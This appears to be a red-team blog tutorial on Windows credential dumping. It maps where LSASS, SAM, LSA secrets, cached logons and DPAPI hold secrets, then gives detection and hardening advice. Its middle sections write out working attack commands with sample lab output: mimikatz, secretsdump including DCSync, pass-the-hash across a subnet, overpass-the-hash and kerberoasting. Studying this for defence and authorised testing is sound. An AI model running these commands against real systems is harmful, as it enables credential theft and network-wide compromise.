Credential Dumping: Where Windows Stores Secrets

Credential dumping is how an attacker who already has code execution on one Windows box turns that single foothold into the keys for the rest of the network. The initial shell is rarely the goal. The goal is the material sitting in memory and on disk that lets you become another user, reuse an admin password across a hundred machines, or forge a ticket for a domain controller. This post maps where Windows keeps that material, what each store actually hands you, how operators pull it with standard tooling, and how a defender spots and shuts it down.

Read it as a mental model first, then keep it as a reference while you work a lab. Nothing here is a turnkey weapon. It is the standard set of techniques an authorized operator uses, described so you understand both sides of the fight.

01What credential dumping is and why it drives escalation

Credential dumping is the extraction of account secrets (password hashes, Kerberos tickets, and in some cases plaintext passwords) from a running Windows system or its registry hives. MITRE tracks the whole family as T1003, OS Credential Dumping, and the reason it sits at the center of almost every real intrusion is simple: Windows caches a lot of credential material so that single sign-on and reconnection work smoothly, and that cache is exactly what an attacker wants.

The two things dumped credentials buy you are privilege escalation and lateral movement. Escalation happens when the box holds a secret for a more powerful principal than the one you landed as, say a local administrator hash or a cached domain admin logon. Lateral movement happens when a hash or ticket you pulled here authenticates you somewhere else, because Windows networks reuse the same accounts across many hosts. One dumped local admin hash, shared by every workstation in a careless build, can mean the whole fleet.

What makes it so effective is that you often do not need the plaintext password at all. A hash is a valid authenticator on its own for NTLM, and a ticket is a valid authenticator for Kerberos. So the work splits into two questions: where does the secret live, and what can you do with it once you hold it.

02Where Windows keeps secrets

Where Windows keeps secrets comes down to five places, split between live process memory and encrypted stores on disk. Knowing which store you are reaching for decides the tool, the access you need, and what comes out the other side. The diagram sketches the map before we walk each one.

LSASS memory. The Local Security Authority Subsystem Service (lsass.exe) is the process that handles interactive logons and keeps credential material for every session currently logged on, so it can answer authentication requests without prompting the user again. That is the richest target on a live box.

The SAM database. The Security Account Manager holds the password hashes for local accounts. It lives in the registry hive HKLM\SAM, backed on disk by C:\Windows\System32\config\SAM, and it is encrypted with a key (the bootkey or SYSKEY) derived from the SYSTEM hive. Read both hives and you can decrypt the local hashes.

LSA secrets. Under HKLM\SECURITY\Policy\Secrets, Windows stores a grab bag of long-lived secrets: service account passwords, auto-logon credentials, the machine account password, and more. Many of these are recoverable in plaintext, which is why LSA secrets often hand you a live service account rather than a hash to crack.

Cached domain credentials. So a domain user can still log in to a laptop when no domain controller is reachable, Windows caches a verifier for the last several domain logons under HKLM\SECURITY\Cache. These are MSCacheV2 (also called DCC2) values, not NTLM hashes, and that distinction matters a lot for what you can do next.

DPAPI. The Data Protection API protects per-user secrets such as saved browser passwords, Credential Manager entries, and private keys. The master keys that unlock them are derived from the user password, so dumping DPAPI usually depends on holding the user context or a domain backup key.

03What each store actually yields

What each store actually yields is the part people conflate, and getting it wrong wastes hours on a lab. A hash is not a hash: a local SAM NT hash behaves very differently from an MSCacheV2 verifier, even though both look like hex. The table lays out what you get and whether it is directly usable or only crackable offline.

The plaintext cases deserve a note. LSASS can give up a cleartext password when a provider that stores reversible credentials is active, the classic one being WDigest, which cached the plaintext by default on Windows up to 8.1 and Server 2012 R2. Modern Windows ships WDigest off, but plenty of older or misconfigured estates still leak it, which is why the first thing an operator checks is whether cleartext is sitting there for free.

04LSASS memory, the live vault

LSASS memory is the single highest-value store because it holds secrets for sessions that are logged on right now, which on a shared server can mean administrators and service accounts you never touched. Reading it needs SYSTEM or a process with debug rights, and the read can happen in two ways: live, by opening a handle to lsass.exe and parsing its memory, or offline, by taking a memory dump of the process and parsing it on your own machine.

The offline path is quieter and increasingly the default, because creating a process dump can look like ordinary crash handling. An operator captures the dump with a built-in or signed tool, moves it off-host, and parses it away from any monitoring on the target. The point for a defender is that the dangerous event is the handle open to lsass with read access, not the parsing that follows.

# high-level mimikatz commands against LSASS, not a build or a weapon
# 0xpriv.dev/red-team
sekurlsa::logonpasswords      # NT hashes + any cleartext for live sessions
sekurlsa::tickets /export     # Kerberos tickets for pass-the-ticket
sekurlsa::minidump lsass.dmp  # parse an offline dump instead of live memory

Those three lines cover the common workflow. The first reads every logged-on session. The second exports Kerberos tickets so you can replay a TGT elsewhere. The third points the same parser at a dump file you captured earlier, which is how the offline path works. None of this is a bypass or a loader, just the standard invocations of a well-known tool.

05The SAM and LSA secrets on disk

The SAM and LSA secrets are the on-disk stores you reach when LSASS is locked down or you only have the hives. Because both are encrypted with a key held in the SYSTEM hive, you always pull three things together: SAM for the local hashes, SECURITY for the LSA secrets and cached logons, and SYSTEM for the bootkey that decrypts the other two.

You can grab the hives live from the registry with the right privileges, or from a Volume Shadow Copy if the files are locked, or over the network through the remote registry service, which is exactly what the remote tooling automates. Once decrypted, the SAM gives you local NT hashes and LSA secrets frequently gives you a service account password in the clear, which is often a faster win than any hash.

06The tooling, at a high level

The tooling for credential dumping splits cleanly into on-host parsers and remote collectors, and you should know the shape of the commands without treating any of them as a point-and-click weapon. Two names cover most of the ground: mimikatz for working on or against a host, and impacket secretsdump for pulling the on-disk stores, often remotely.

mimikatz reads LSASS memory and the registry hives on a Windows host. Beyond the sekurlsa family shown above, its lsadump module reads the stores directly: lsadump::sam for local hashes, lsadump::secrets for LSA secrets, and lsadump::cache for the cached domain logons. Impacket secretsdump does the same collection from Linux over SMB, and can also pull the entire domain hash set from a domain controller through replication rather than touching NTDS files.

# impacket secretsdump: the command shapes, run only in your lab
# against a single host, with a password, pulls SAM + LSA + cached
impacket-secretsdump 'LAB/svc_backup:[email protected]'

# with an NT hash instead of a password (pass-the-hash into the dump)
impacket-secretsdump -hashes :aad3b435b51404eeaad3b435b51404ee 'LAB/[email protected]'

# from a domain controller, pull the domain hashes via replication (DCSync)
impacket-secretsdump -just-dc-ntlm 'LAB/[email protected]'

The third form is worth calling out. DCSync asks a domain controller to replicate account secrets as if the attacker were another DC, so it never reads a file on the box and needs only the right directory replication rights. It is the cleanest way to lift every hash in a domain once you hold a sufficiently privileged account, and it is a major reason replication rights are treated as domain-admin equivalent.

07From a dumped hash to pass-the-hash or kerberoasting

From a dumped hash the next move is either pass-the-hash or a Kerberos attack, depending on what you pulled and where you want to go. NTLM authentication proves you know an account by proving you hold its NT hash, never the plaintext, so an NT hash is a complete authenticator on its own. That is pass-the-hash: feed the hash to a tool and authenticate as that user without ever cracking anything.

# pass-the-hash across the lab range with the dumped local admin hash
nxc smb 10.10.10.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --local-auth

# overpass-the-hash: turn an NT hash into a Kerberos TGT, then act via Kerberos
impacket-getTGT 'LAB/svc_sql' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

# kerberoasting: request TGS tickets for SPN accounts, then crack them offline
impacket-GetUserSPNs 'LAB/low_user:Passw0rd!' -dc-ip 10.10.10.5 -request
hashcat -m 13100 kerberoast.txt wordlist.txt   # TGS-REP, RC4

Overpass-the-hash is the bridge between the two worlds: you use the NT hash to request a Kerberos ticket-granting ticket, then move with Kerberos, which blends in better than raw NTLM and reaches services that only speak Kerberos. Kerberoasting is the complementary path. Any domain account can request a service ticket for an account that has a Service Principal Name, and that ticket is encrypted with the service account's NT hash. Pull it, crack it offline (hashcat mode 13100 for the RC4 variant), and you have recovered a service password the dump never gave you directly.

08A worked lab example against 10.10.10.5

A worked lab example ties the stores and the tools together on one host, 10.10.10.5, a member server in the LAB domain where you already hold a local admin credential. The plan is four steps: dump the on-disk stores, read what came out, pick the directly usable secret, and move with it.

$ impacket-secretsdump 'LAB/svc_backup:[email protected]'
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b...:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Dumping LSA Secrets
LAB\svc_sql:Summer2024!ServiceAcct
$MACHINE.ACC: aad3b...:9c8f1e...
[*] Dumping cached domain logons (domain/user:hash)
LAB.LOCAL/jdoe:$DCC2$10240#jdoe#4f6c...  (crack offline only)
[*] Cleaning up...

Three usable things fell out of one host. The local Administrator NT hash is a pass-the-hash candidate for the whole range. The svc_sql password came out of LSA secrets in cleartext, so you can log in as it with no cracking at all. The cached jdoe entry is DCC2, so it goes to the side for an offline attempt only. The next command tests how far the Administrator hash reaches.

$ nxc smb 10.10.10.0/24 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe --local-auth
SMB  10.10.10.5   445  WS-05  [+] WS-05\Administrator (Pwn3d!)
SMB  10.10.10.7   445  WS-07  [+] WS-07\Administrator (Pwn3d!)
SMB  10.10.10.9   445  WS-09  [-] WS-09\Administrator STATUS_LOGON_FAILURE

Two of the three other hosts accept the same local admin hash, which is the shared-image problem in one screen. WS-09 refuses it, a sign that machine has a unique local password (the behaviour LAPS gives you everywhere). From here an operator would repeat the dump on the newly reached hosts and look for a domain session to escalate further.

09Detecting credential dumping

Detecting credential dumping is realistic because the loud events are structural, not signature based, and you alert on behaviour rather than chasing tool names. The single most valuable signal is a process opening a handle to lsass.exe with read access, which Sysmon records as Event ID 10 (ProcessAccess). Legitimate access to lsass is rare and comes from a short list of known processes, so an open with access mask like 0x1010 or 0x1410 from anything else is worth an alert.

  lsass.exe

Two more signals round it out. You can place a System Access Control List (SACL) on the lsass process object and audit handle requests, which surfaces as Security Event 4656 and 4663 and does not depend on Sysmon at all. And the remote dumping path has its own tell: secretsdump and friends create a service and touch the remote registry, so a Service Control Manager Event 7045 for a short random service name, paired with a Type 3 network logon (4624) from an admin account, is the on-the-wire fingerprint of a remote dump.

# Event ID 10 (ProcessAccess)
SourceImage:  C:\Users\Public\notavirus.exe
TargetImage:  C:\Windows\System32\lsass.exe
GrantedAccess: 0x1410   (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)

The reason this works is that credential dumping has to touch these stores, and touching them is observable even when the tool itself is new or obfuscated. A defender who alerts on lsass handle opens and remote service creation catches the technique regardless of which binary carries it out.

10Shutting credential dumping down

Shutting credential dumping down is a layered job, because no single control covers all five stores. The aim is to make LSASS unreadable, strip the plaintext out of it, and limit how far any one dumped secret can travel. The box below is the order worth applying in a real estate.

# verify the two registry controls on a lab host (read-only check)
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' RunAsPPL
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' UseLogonCredential

Credential Guard and PPL together defeat the live LSASS path, WDigest off removes the free plaintext, and tiering plus LAPS mean the SAM and LSA secrets you cannot fully prevent dumping are worth far less once stolen. Defence in depth here is literal: you are stacking controls over five different stores.

11FAQ